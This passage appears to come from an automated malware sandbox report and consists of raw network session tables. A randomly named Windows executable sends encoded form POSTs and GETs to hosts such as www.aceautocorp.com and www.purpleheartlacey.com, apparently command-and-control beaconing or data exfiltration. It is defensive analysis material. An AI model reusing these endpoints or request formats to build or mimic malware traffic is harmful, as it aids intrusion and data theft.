03 bb 22 90 dd 3b e6 bc 82 8f 8d 82 8f 47 6f 20 75 b4 b3 9e dd df f2 5d af 87 af 60 55 5f af da c1 61 be 1c 9d f2 cd 7e 75 e2 86 f3 ac d7 b2 51 f7 9b b0 61 c7 09 1e 14 9a f2 58 21 e0 68 dc 08 [TRUNCATED] Data Ascii: C@E`:{SoF9EUn;,eK;oIrli\|CYq8s~]Z[T]i`=[WY`$qk=&.QPmt ""j5\G-1Ya2T3N,#J},XOPifm\&0<(G ^bB@wCl)u5?qA^1DXe<g/o";Go u]`U_a~uQaX!hr)dj\Z<Ea#DA8Af)p<[?(sPHGtiyNiL5e4zZguuAk@wuw}Fwz9Fa34{ay$#LIOiE'eT\-WXC-0D_p^^j<LPzS6>g+.e(?Si3<xcNQW6E{=Bgc=yE'j\|06r8IGsr'z+.>aVdG5Tt\|qy?I/t%C^9HOs>15Gz45BJO6cuS{:HeZ-_/t\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.10	49739	198.12.241.35	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:05:10.073736906 CEST	1768	OUT	POST /9og3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.aceautocorp.com Origin: http://www.aceautocorp.com Content-Length: 1233 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.aceautocorp.com/9og3/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 55 44 4d 4d 6e 34 56 34 4d 6e 41 6d 71 4e 69 34 78 65 30 58 6e 4a 75 4e 73 46 33 63 77 4f 73 58 64 44 69 79 4e 78 46 71 37 78 43 39 32 34 72 78 72 68 56 6d 36 6d 4f 38 6a 36 4c 6b 46 52 6f 31 50 59 78 6d 38 32 62 74 4c 2b 51 45 74 66 74 30 34 36 37 38 6e 6d 68 53 59 67 31 6f 68 71 44 46 4f 79 79 4a 78 75 30 6e 32 70 74 79 59 39 4a 57 39 66 48 49 66 6d 62 71 45 62 6c 69 74 45 66 66 52 78 72 76 4e 78 34 55 6e 7a 47 34 34 4c 68 74 6a 74 41 32 44 4f 71 44 6a 46 6f 39 31 59 2b 62 32 6c 67 38 62 73 65 57 7a 68 39 58 6f 71 42 4e 56 47 74 74 65 6e 43 4d 31 45 62 61 33 31 55 4b 44 56 4e 61 43 69 6a 69 4d 45 48 45 78 71 63 39 6b 67 45 77 78 4d 49 6c 73 51 6c 55 77 62 76 77 5a 4a 4c 66 6d 59 35 69 77 7a 7a 31 41 4c 73 39 34 39 67 45 54 48 41 73 67 6d 6d 6e 6e 56 75 42 6c 36 31 75 46 6c 54 58 32 78 53 33 44 76 4d 6f 52 37 38 33 54 61 68 78 4a 39 71 71 45 52 62 33 33 6a 66 38 30 6c 49 55 42 34 52 67 76 4d 35 4e 77 35 76 62 65 67 78 70 72 6f 48 48 47 37 70 70 41 53 66 2f 67 62 4d 44 33 [TRUNCATED] Data Ascii: bFGXGTdX=UDMMn4V4MnAmqNi4xe0XnJuNsF3cwOsXdDiyNxFq7xC924rxrhVm6mO8j6LkFRo1PYxm82btL+QEtft04678nmhSYg1ohqDFOyyJxu0n2ptyY9JW9fHIfmbqEblitEffRxrvNx4UnzG44LhtjtA2DOqDjFo91Y+b2lg8bseWzh9XoqBNVGttenCM1Eba31UKDVNaCijiMEHExqc9kgEwxMIlsQlUwbvwZJLfmY5iwzz1ALs949gETHAsgmmnnVuBl61uFlTX2xS3DvMoR783TahxJ9qqERb33jf80lIUB4RgvM5Nw5vbegxproHHG7ppASf/gbMD3DdC5+LqZbxVurhsWMQeCC7xIpNRYZbuaxh5NEP6LxYhojQPrVYX9FU3cB0916dlJR/qLNTGAs2ubGiUFP1zqy6dN2PLk3WBgNxMliNeombdKKOrKEvbUlbu//2QU8ZwUvoGViEUQ5JvOTf1/g48CMmeIxTaodvNOMwjN/vxiYIXzQzgLUMi+ZCPz42HgUlWy1IrpxwgDTblm6sLiWmyA+N0OYjpfPP5Zba1dWbgnb3m15AMlz3aTyPZDF9L5q7UewCrj4CPqiwhMrT72vT2zCM2/+lEfoWdwUBFYZPDTjdd7crSVpybUULzA2Zhi62ixT8rZ3ifC7DMao4UwXgdulJvLAY0/3KL3grrnPdhx99xf7EplqgSbmImONnBL23RgM0CeeSM8fmzu24HPuNAyMxgBmdty2cGe0s5CBIIVuBTUZNBTKEJtj51U4qkADSouN7PbcOxRsEDMMZM91BxozYepLJRqSf5XYtBNc7gG7vaWHmtNc4NLFyhVXrreSyApJwKvSZKaNUnt0+4ZNwkbEr56AwRhF/wi5dLxGRhMfefhqHPJqGVvmj6asN4rKU4ffdWOKwTKph1aFtpdfoJAU/OBwcvFF3fh8R8BgqpAG5AnE6pOyekkWxYk8OG1VZjxlK0pMja84UyacPoVEgh58TZcLPGWTl7rV/ [TRUNCATED]
Sep 11, 2024 22:05:10.877616882 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Sep 2024 20:05:10 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://aceautocorp.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: br Content-Length: 10066 Content-Type: text/html; charset=UTF-8 Data Raw: 13 7f d0 14 91 9a f4 43 40 45 60 dc c4 c7 3a cf f7 ff 7b 53 fb 6f fb e7 eb 46 39 8d 45 0a 18 d0 b2 55 6e 3b e9 2c 99 65 4b 3b 6f 49 72 f2 b0 84 6c a6 b2 d0 01 bc e4 69 f4 f7 fe b2 de 9f 0d 7c c6 10 d8 91 43 e0 59 c9 9c 01 71 38 ff 9c 73 ef fd 7e d0 5d f5 5a 1a 95 5b 54 ee 19 8d 5d 1a cd 07 69 60 97 ef 3d 17 de eb d7 af 5b fc 57 8b 0c 59 60 c4 24 71 12 6b 8c 3d bb 26 0a 1d a4 2e 07 51 e2 c7 50 6d b6 9f 74 df 20 22 a2 22 6a d2 ee 35 5c c7 47 2d f2 11 31 b6 59 f8 61 32 54 33 19 db e9 8f 04 4e 2c 23 85 4a f0 7d 8b c3 2c b9 f7 95 58 4f 50 d4 9a 69 fb 18 9a ed e1 66 a8 e9 09 e9 83 ef a2 04 0c 6d 96 5c 03 26 9d ba 0e d4 30 c1 c1 3c cd a2 28 db 47 ea 20 d9 e5 5e 62 b8 94 94 42 40 0b 9d 83 a2 ad 0e 77 18 43 6c 29 75 1b 35 c7 a5 3f c5 ab d4 1f 71 ab 97 a9 d5 41 5e ce 81 31 44 c6 58 c6 65 3c e3 95 67 8a 2f b0 6f 17 0c c6 03 bb 22 90 dd 3b e6 bc 82 8f 8d 82 8f 47 6f 20 75 b4 b3 9e dd df f2 5d af 87 af 60 55 5f af da c1 61 be 1c 9d f2 cd 7e 75 e2 86 f3 ac d7 b2 51 f7 9b b0 61 c7 09 1e 14 9a f2 58 21 e0 68 dc 08 [TRUNCATED] Data Ascii: C@E`:{SoF9EUn;,eK;oIrli\|CYq8s~]Z[T]i`=[WY`$qk=&.QPmt ""j5\G-1Ya2T3N,#J},XOPifm\&0<(G ^bB@wCl)u5?qA^1DXe<g/o";Go u]`U_a~uQaX!hr)dj\Z<Ea#DA8Af)p<[?(sPHGtiyNiL5e4zZguuAk@wuw}Fwz9Fa34{ay$#LIOiE'eT\-WXC-0D_p^^j<LPzS6>g+.e(?Si3<xcNQW6E{=Bgc=yE'j\|06r8IGsr'z+.>aVdG5Tt\|qy?I/t%C^9HOs>15Gz45BJO6cuS{:HeZ-_/t\|
Sep 11, 2024 22:05:10.877641916 CEST	1236	IN	Data Raw: ae 8b df be 8d d9 da 26 cd fe fe aa e2 ab 26 15 94 9f b2 2c 36 f5 98 04 dd 03 e7 ba 65 b1 e5 a4 4b 85 6b 57 d6 05 a8 4a 06 51 38 d0 a6 c7 76 53 3b d9 88 34 05 ce 68 cb b7 c1 ee 57 6f 87 d1 8c a5 c0 53 fe 35 1d 64 8c 51 5b 07 f3 fd 40 cb 6a b5 c1 Data Ascii: &&,6eKkWJQ8vS;4hWoS5dQ[@jU]t/c*~hnnC5J"$4~y_\|6VO%U-CIa7^,igg2/jxs+l[7(m<\|
Sep 11, 2024 22:05:10.877654076 CEST	448	IN	Data Raw: dc 60 08 4e d2 83 f6 74 23 4a 36 24 d3 e4 60 fe 4f 08 88 89 91 16 4d ba 79 e1 64 73 0d 59 b3 b9 8d 4c db a3 25 30 d3 54 c8 0d f3 a1 7d c5 ac de a9 fc 3a 8b d6 f7 80 1c 31 d8 57 0a d6 dc 0a ef ee bd 81 43 8d bf 73 94 56 9e d9 93 79 45 32 a0 47 04 Data Ascii: `Nt#J6$`OMydsYL%0T}:1WCsVyE2GC6y0-5cA_H#r0>,TDzSPX1)a?Us(hWiQvrub;K3^LC t&rQ)PX$
Sep 11, 2024 22:05:10.877664089 CEST	1236	IN	Data Raw: 6b ce 25 cf 69 8b 59 55 40 16 19 e7 51 1f 91 8c 80 ce 59 e4 ab d6 e3 7a a9 e5 71 70 ca 1f d9 8c 27 d4 89 e9 58 57 55 02 88 78 22 f7 52 dc de ea e1 2b 89 ea c3 9d 7b 39 84 5a 78 fc a7 dc 50 5f e8 a8 6a eb 03 c7 2d 78 9e 42 9b 6e 64 df 84 9f 0d 20 Data Ascii: k%iYU@QYzqp'XWUx"R+{9ZxP_j-xBnd ;e_ySF1OF~.d10VO6@%-@Sc5<kYWdNGXvbY%&6BKQ'}/>!R'.A
Sep 11, 2024 22:05:10.877682924 CEST	1236	IN	Data Raw: d5 d2 c9 f1 fc cb 6b a5 14 16 48 c4 30 6b 16 f1 ef ce 94 90 6f ff 30 4d 70 1b f6 5d fa a4 5b 32 51 69 eb b2 d7 ab 1c 88 37 ee e8 02 d3 a2 00 57 a3 d5 fc 57 e4 ea 94 47 65 7e 1c 91 16 f2 cf 2d e4 51 d2 aa 1d be 66 ac 65 79 8c af 59 5a 44 2a 42 21 Data Ascii: kH0ko0Mp][2Qi7WWGe~-QfeyYZDB!=+?7%D17Zny{+:)_f+[m9}T'M3f&5uCFan)rX&"VOmB^/Xyw"(i?
Sep 11, 2024 22:05:10.877700090 CEST	448	IN	Data Raw: 70 2a fc e9 59 6d 8f ee ab 31 7f 40 84 39 17 59 51 ec 18 d6 f0 42 e8 3e 9d 26 38 cf b7 58 af 06 8f 58 58 1f 94 67 1f c7 fa 6b 10 e5 7b 89 53 67 58 f0 06 dc fc a2 a5 19 e6 f9 c6 29 bf 4a 65 d3 ea 06 56 e1 1c 07 af 67 e2 d4 39 e6 62 53 68 f0 c8 c1 Data Ascii: p*Ym1@9YQB>&8XXXgk{SgX)JeVg9bShWWM#EM3yEjdx3 !~EE=A?wx0\|Rp%8tz>zM]ZWQqqC9<,A$+a9HcXx
Sep 11, 2024 22:05:10.877711058 CEST	1236	IN	Data Raw: 67 cb 9e 74 8f 00 15 21 16 dc 9f de 69 fc 47 25 2d 0c 9f ac 80 6e f4 40 4f 60 0c 61 a8 b5 91 de 80 ca 6d c0 a4 88 43 e4 51 5a 2c 86 ea 49 46 31 3c d8 c1 d2 5f ee d7 5d ae 87 d7 c3 d6 f4 66 11 b2 09 11 c9 1a df 07 0e 7a 08 b9 df 39 51 a7 33 c2 7f Data Ascii: gt!iG%-n@O`amCQZ,IF1<_]fz9Q3u$Y^m4<0gCe"[BOM`!BrK%tS1qub@f(Y.ar{iGv(iIl#`f#S\|cp*Csh2\|9LHbP+dT<\T
Sep 11, 2024 22:05:10.877726078 CEST	224	IN	Data Raw: e0 88 d4 3b 71 b6 a7 50 bc dd c3 08 cd 35 75 3d 8c dd 00 e3 af c1 e4 90 12 e2 69 ac dc 11 ae ff 23 08 a7 cb 8d 50 18 fe 97 9b f3 e4 8a b9 51 08 c0 2b 73 a3 12 98 83 e6 46 31 3f be ba 5e 88 87 e1 b6 f9 d1 0d cd 83 73 2e ce 60 9c 39 df ea 19 8c 5f Data Ascii: ;qP5u=i#PQ+sF1?^s.`9_0\<gr=7?Wt~ATdWW~O".%wb$&HN\|!rCr&HN/Oq7rn\|H\GGB~
Sep 11, 2024 22:05:10.877737045 CEST	1236	IN	Data Raw: 0b dd 4f 6e c8 6d 75 96 17 42 63 fb ca 09 f9 3c 7c e4 83 9c 56 0f b9 20 27 e7 21 0f e4 e4 ba 4d 5a 0c ce ba 59 33 a1 d1 c4 0e 5d 02 b1 d2 55 a1 bc f0 bd db 7c 9b c1 73 7e d1 f2 26 62 8d 5b 30 53 e8 1c 23 19 8c 9a 67 6c 6d 96 d2 eb 26 8a 36 12 d6 Data Ascii: OnmuBc<\|V '!MZY3]U\|s~&b[0S#glm&6zi@c]aomvjGEt~-nOl3Niyp,A4hS=h1p6zAs$l4X, ZA8dp2eY>(8;sb~J$^E
Sep 11, 2024 22:05:10.877748966 CEST	224	IN	Data Raw: b4 25 e3 17 04 5a 04 57 9c 70 15 b0 95 9c 53 42 e3 dc 0b c3 c9 e4 85 e7 64 8d f0 94 1c c2 40 2a 13 a5 27 84 1a e5 68 8b c1 2d 91 c6 66 13 77 96 63 b0 39 8a e9 bb e3 85 20 e8 50 da ed 18 a8 22 04 2c e7 96 83 df 13 d3 75 3b 4c 85 c3 db b8 06 bb 4d Data Ascii: %ZWpSBd@'h-fwc9 P",u;LMF#5?\mmd<B\vTxA=(BQ<rEDSFGXN6=%s]V@<n<>t?5]s
Sep 11, 2024 22:05:10.882621050 CEST	1236	IN	Data Raw: 34 8d d6 eb d6 15 d1 55 e3 b5 df 32 f2 d7 0c c4 cd 6d af 66 3a 9e fd e2 fa c1 e3 73 d7 ca e1 ce a6 eb c4 0a 41 a7 dc 94 f4 e1 ca 4c 06 05 eb 4f f2 b3 d2 1c 7a 9a 8e d9 63 3d 38 e2 90 47 8d 8f e8 af e4 c5 33 67 ee 25 66 2c b4 81 42 26 fa e0 0e f0 Data Ascii: 4U2mf:sALOzc=8G3g%f,B&<V:heV[o%Vd1'6OL7tU{!`CupU=Fi}or `~W`L?zY\|"9kpb%'}00Mf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.10	49740	198.12.241.35	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:05:12.608148098 CEST	462	OUT	GET /9og3/?bFGXGTdX=ZBkskPBELyIjvtDi08MWm9rbu3iLorcPFzn2FRxS1jOC36b61Sx96mOK+r72OxgWH8wd7wLlO4AB5vUmoL6nk1FBVggKsZuxPhO/hPMpvJNZBalqpQ==&M87d=RDddFbF8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-us Host: www.aceautocorp.com Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Sep 11, 2024 22:05:13.260107994 CEST	539	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 11 Sep 2024 20:05:13 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: http://aceautocorp.com/9og3/?bFGXGTdX=ZBkskPBELyIjvtDi08MWm9rbu3iLorcPFzn2FRxS1jOC36b61Sx96mOK+r72OxgWH8wd7wLlO4AB5vUmoL6nk1FBVggKsZuxPhO/hPMpvJNZBalqpQ==&M87d=RDddFbF8 Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.10	49741	91.195.240.19	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:05:18.328668118 CEST	746	OUT	POST /rlev/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.purpleheartlacey.com Origin: http://www.purpleheartlacey.com Content-Length: 197 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.purpleheartlacey.com/rlev/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 62 71 64 78 30 48 48 75 48 45 52 44 70 66 4f 36 37 4d 35 44 41 66 74 53 42 6c 30 62 33 56 41 77 49 6a 78 7a 47 61 32 78 4f 70 47 67 31 35 4d 58 35 4b 44 72 37 6d 4e 49 73 54 47 56 38 46 63 42 54 47 44 65 31 5a 38 66 74 37 68 38 67 39 46 65 53 65 72 2b 77 65 59 49 4d 66 48 67 66 5a 58 6e 73 6c 52 79 77 51 32 69 76 43 70 4e 59 4f 59 6d 68 4d 6c 6f 63 45 6a 63 4a 31 34 7a 46 56 2f 2f 61 71 78 66 31 46 58 6d 61 4e 6a 4c 46 4f 61 38 72 6f 79 4c 30 39 7a 4f 42 78 45 45 44 62 46 43 74 5a 41 6d 35 78 6d 43 50 78 57 59 6a 55 44 77 54 45 62 35 37 41 57 56 49 59 4a 6f Data Ascii: bFGXGTdX=bqdx0HHuHERDpfO67M5DAftSBl0b3VAwIjxzGa2xOpGg15MX5KDr7mNIsTGV8FcBTGDe1Z8ft7h8g9FeSer+weYIMfHgfZXnslRywQ2ivCpNYOYmhMlocEjcJ14zFV//aqxf1FXmaNjLFOa8royL09zOBxEEDbFCtZAm5xmCPxWYjUDwTEb57AWVIYJo
Sep 11, 2024 22:05:18.997102976 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.10	49742	91.195.240.19	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:05:20.858273983 CEST	770	OUT	POST /rlev/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.purpleheartlacey.com Origin: http://www.purpleheartlacey.com Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.purpleheartlacey.com/rlev/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 62 71 64 78 30 48 48 75 48 45 52 44 72 2b 65 36 34 76 52 44 4a 66 74 56 4e 46 30 62 73 6c 42 59 49 6a 39 7a 47 62 69 68 50 62 53 67 31 63 77 58 34 4c 44 72 34 6d 4e 49 6b 7a 47 4d 68 31 63 65 54 47 4f 70 31 64 38 66 74 37 46 38 67 38 31 65 53 4a 33 39 78 4f 59 4b 41 2f 48 69 52 35 58 6e 73 6c 52 79 77 51 53 59 76 43 78 4e 66 2b 49 6d 67 6f 35 72 43 55 6a 62 4f 31 34 7a 4f 31 2f 37 61 71 77 49 31 42 57 44 61 49 6e 4c 46 4b 53 38 72 39 65 49 74 74 7a 41 50 52 46 54 4b 4f 5a 47 74 62 6b 46 77 52 4f 2f 57 44 4f 65 74 56 69 33 43 56 36 75 6f 33 4b 62 47 65 38 43 73 77 41 62 55 34 43 6b 76 5a 6c 68 56 56 75 6d 42 44 79 36 54 51 3d 3d Data Ascii: bFGXGTdX=bqdx0HHuHERDr+e64vRDJftVNF0bslBYIj9zGbihPbSg1cwX4LDr4mNIkzGMh1ceTGOp1d8ft7F8g81eSJ39xOYKA/HiR5XnslRywQSYvCxNf+Imgo5rCUjbO14zO1/7aqwI1BWDaInLFKS8r9eIttzAPRFTKOZGtbkFwRO/WDOetVi3CV6uo3KbGe8CswAbU4CkvZlhVVumBDy6TQ==
Sep 11, 2024 22:05:21.677721024 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.10	49743	91.195.240.19	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:05:23.389415026 CEST	1783	OUT	POST /rlev/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.purpleheartlacey.com Origin: http://www.purpleheartlacey.com Content-Length: 1233 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.purpleheartlacey.com/rlev/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 62 71 64 78 30 48 48 75 48 45 52 44 72 2b 65 36 34 76 52 44 4a 66 74 56 4e 46 30 62 73 6c 42 59 49 6a 39 7a 47 62 69 68 50 62 71 67 31 4a 38 58 36 73 58 72 35 6d 4e 49 75 54 47 52 68 31 64 43 54 48 6d 74 31 64 77 51 74 39 42 38 68 61 4a 65 46 4d 44 39 37 4f 59 4b 66 50 48 6a 66 5a 58 79 73 6c 68 32 77 51 43 59 76 43 78 4e 66 34 6b 6d 70 63 6c 72 41 55 6a 63 4a 31 34 2f 46 56 2f 66 61 71 70 39 31 42 61 35 5a 38 54 4c 45 72 75 38 74 50 6d 49 6c 74 7a 43 4d 52 46 62 4b 4f 63 59 74 62 34 4a 77 52 4b 52 57 41 75 65 74 78 69 74 61 68 4b 33 30 78 53 6c 42 2b 6f 59 68 6b 67 6f 56 49 76 76 76 39 4a 2b 46 6b 53 30 4c 52 36 30 49 56 44 56 78 4b 43 55 51 31 48 42 6b 55 52 6b 61 69 36 64 7a 4c 78 45 77 6a 6d 34 57 44 54 44 32 79 56 66 69 4c 4d 42 4f 65 56 4e 79 33 2f 74 53 74 69 72 51 53 67 4f 42 6d 31 45 71 50 39 77 31 4d 52 6f 46 57 4c 77 38 39 59 6b 73 57 2b 6d 30 35 6b 6d 70 72 6a 5a 50 61 32 58 54 43 56 35 4a 79 78 73 62 6f 2b 54 45 76 68 78 41 75 34 69 6e 49 62 6c 7a 37 78 52 4c [TRUNCATED] Data Ascii: bFGXGTdX=bqdx0HHuHERDr+e64vRDJftVNF0bslBYIj9zGbihPbqg1J8X6sXr5mNIuTGRh1dCTHmt1dwQt9B8haJeFMD97OYKfPHjfZXyslh2wQCYvCxNf4kmpclrAUjcJ14/FV/faqp91Ba5Z8TLEru8tPmIltzCMRFbKOcYtb4JwRKRWAuetxitahK30xSlB+oYhkgoVIvvv9J+FkS0LR60IVDVxKCUQ1HBkURkai6dzLxEwjm4WDTD2yVfiLMBOeVNy3/tStirQSgOBm1EqP9w1MRoFWLw89YksW+m05kmprjZPa2XTCV5Jyxsbo+TEvhxAu4inIblz7xRLe5SW445VgVM6aZtmaeCj6T+9EHoo3mIwIqnyOrfCrtXQTtPor4WNZ6H4nYmAuFk9YJHsC+GMZNC+Piq0dN04gHFKvzN6au9UxiOOuE0nQ27pMUOVVA0fxBHgxU0c4H+PAJsx/RCNLN2V3srdj58k1j0pM1qR0+8zr1fkVJBL1vGF2On8FlwpvGiUFLbk/ushzOV8FDh8hjQAZnBisOrabBnMDcbpnIvQwZ0uOfxixQMH5en8bKQR+8ila8bCHlKfbe+JAD8vlBKuosEO/YPZK+yDppzvJNUMTmNnP3/c2FW6B77OHt8v+Gz+UQmunuRczCiF+d+MQ3QcdTenFZvwp6TtriHGOhDORzd6WS/nzDAgRnZZLLYPh+m//ieblUmAKJ2CE+II3EQBVeuOKqumLUIv1V1N26gP16HNz3aq968eCBTIMHH+Fdsv8c3Bod6exjllPfXOS0jJtBpeigYmiYQI79tXD2cG2lkyPP0Ennu9kl4mwSIx3e3t1V98rOVVqmrkiEYNBSi9KyQ24lSRvKRi7vSa7i4OGR/F1vqiCKR6CvvmlyD3wNsRRb9CzdegjATPSaiZoLE01nEQsIFHkCQfHhkiFfd4eqpPIDyeo3FYo3yVXCUq15uK53eYIQg/AbKX0fRRqv2xA63eLmHe/HCDx3tS2C2tTM [TRUNCATED]
Sep 11, 2024 22:05:24.030232906 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.10	49744	91.195.240.19	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:05:25.921297073 CEST	467	OUT	GET /rlev/?bFGXGTdX=Wo1R3wm8Ej8entDC+cV4KaEDP0IDvxtNKgFdfJiYIIGalaQSkKKZ1Xkt0Su2x108KR/fnP4QiNVkos1WTd/84fgdAaOORrOEsxtw8yTuzQl5BJwg/A==&M87d=RDddFbF8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-us Host: www.purpleheartlacey.com Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Sep 11, 2024 22:05:26.772846937 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.10	49745	31.186.11.254	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
